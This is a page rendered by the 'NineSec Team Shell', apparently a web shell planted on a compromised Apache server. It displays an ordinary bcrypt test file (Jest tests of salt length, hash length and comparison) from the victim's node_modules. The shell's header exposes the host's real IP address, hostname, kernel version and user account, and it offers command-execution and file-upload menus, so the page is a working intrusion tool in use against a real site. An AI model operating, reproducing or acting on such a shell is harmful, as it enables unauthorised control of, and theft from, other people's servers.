NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/bcrypt/test/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/bcrypt/test/repetitions.test.js
const bcrypt = require('../bcrypt');

const EXPECTED = 2500; //number of times to iterate these tests.)

test('salt_length', () => {
    expect.assertions(EXPECTED);

    return Promise.all(Array.from({length: EXPECTED},
        () => bcrypt.genSalt(10)
            .then(salt => expect(salt).toHaveLength(29))));
})

test('test_hash_length', () => {
    expect.assertions(EXPECTED);
    const SALT = '$2a$04$TnjywYklQbbZjdjBgBoA4e';
    return Promise.all(Array.from({length: EXPECTED},
        () => bcrypt.hash('test', SALT)
            .then(hash => expect(hash).toHaveLength(60))));
})

test('test_compare', () => {
    expect.assertions(EXPECTED);
    const HASH = '$2a$04$TnjywYklQbbZjdjBgBoA4e9G7RJt9blgMgsCvUvus4Iv4TENB5nHy';
    return Promise.all(Array.from({length: EXPECTED},
        () => bcrypt.compare('test', HASH)
            .then(match => expect(match).toEqual(true))));
})

test('test_hash_and_compare', () => {
    expect.assertions(EXPECTED * 3);
    const salt = bcrypt.genSaltSync(4)

    return Promise.all(Array.from({length: EXPECTED},
        () => {
            const password = 'secret' + Math.random();
            return bcrypt.hash(password, salt)
                .then(hash => {
                    expect(hash).toHaveLength(60);
                    const goodCompare = bcrypt.compare(password, hash).then(res => expect(res).toEqual(true));
                    const badCompare = bcrypt.compare('bad' + password, hash).then(res => expect(res).toEqual(false));

                    return Promise.all([goodCompare, badCompare]);
                });
        }));
}, 10000);


NineSec Team - 2022